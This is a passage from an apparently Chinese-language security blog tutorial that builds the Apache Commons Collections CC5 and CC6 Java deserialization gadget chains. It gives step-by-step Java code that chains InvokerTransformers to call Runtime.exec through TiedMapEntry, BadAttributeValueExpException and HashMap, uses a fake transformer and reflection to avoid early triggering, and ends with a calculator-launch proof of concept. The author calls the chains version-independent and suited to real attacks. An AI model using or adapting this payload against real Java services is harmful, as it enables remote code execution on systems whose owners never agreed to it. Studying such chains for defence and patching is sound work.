这里有个细节,虽然能够直接通过构造方法赋值给val,但在构造方法中有对入参做toString操作,那得到的val就是String而不是map了,所以只能通过反射的方式去赋值给val
// 第三步 构造 BadAttributeValueExpException BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test"); ReflectUtils.setFields(badAttributeValueExpException,"val",tiedMapEntry);第四步 反序列化验证
// 第四步 反序列化验证 String path = ExpUtils.serialize(badAttributeValueExpException); ExpUtils.unserialize(path);执行一下,命令成功执行:
HashMap上面以BadAttributeValueExpException作为利用,下面看一下HashMap#readObject的源码,HashMap中有对反序列化的key值做hash操作:
跟进一下hash(),调用了key的hashCode()方法,结合我们对TiedMapEntry的分析,这里只要将key赋值为TiedMapEntry,在反序列化时即可完成RCE。
实操第一步 构造恶意TiedMapEntry
这里有一点和前面不一样,传递给chainedTransformer的是一个 new ConstantTransformer(1) 相当于空操作的fakeTransformer,这是为了避免后面在hashmap在put时会执行代码。
// 第一步 构造恶意 tiedMapEntry String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}) }; Transformer[] fakeTransformer = new Transformer[]{ new ConstantTransformer(1) }; ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer); HashMap<String,String> hashMap = new HashMap<>(); hashMap.put("testKey","testVal"); Map evilMap = LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "entryKey");第二步 绑定到hashmap上
Map mapStringHashMap = new HashMap<>(); mapStringHashMap.put(tiedMapEntry,"outerKey");第三步 移除第一个hashmap的entryKey
这里可以想一下为什么要这么操作。
因为HashMap不光在readobject时会执行hash操作,在put的时候也会计算hash,这样put的时候第一个hashmap就已经生成entryKey的key了,而在反序列化的时候系统判断存在就不会再执行transform方法,也就不会触发代码执行。
其实这里为什么在已经传递给tiedMapEntry后还能修改第一个hashmap并生效也说明了,Java中传递给TiedMapEntry只是一个引用,可以在外面进行修改。
evilMap.remove("entryKey");第四步 把恶意的transfomer通过反射重新赋值给chainedTransformer并反序列化验证
ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers); String path = ExpUtils.serialize(mapStringHashMap); ExpUtils.unserialize(path);执行结果:
总结本篇文章在前文LazyMap的基础上进一步通过TiedMapEntry封装,从而带来了CC5与CC6的反序列化利用链,值得说明的是,CC5、CC6目前没有版本限制,执行非常通用,我在最近的JDK1.8.261下都能成功运行,是在实战中比较好利用的链。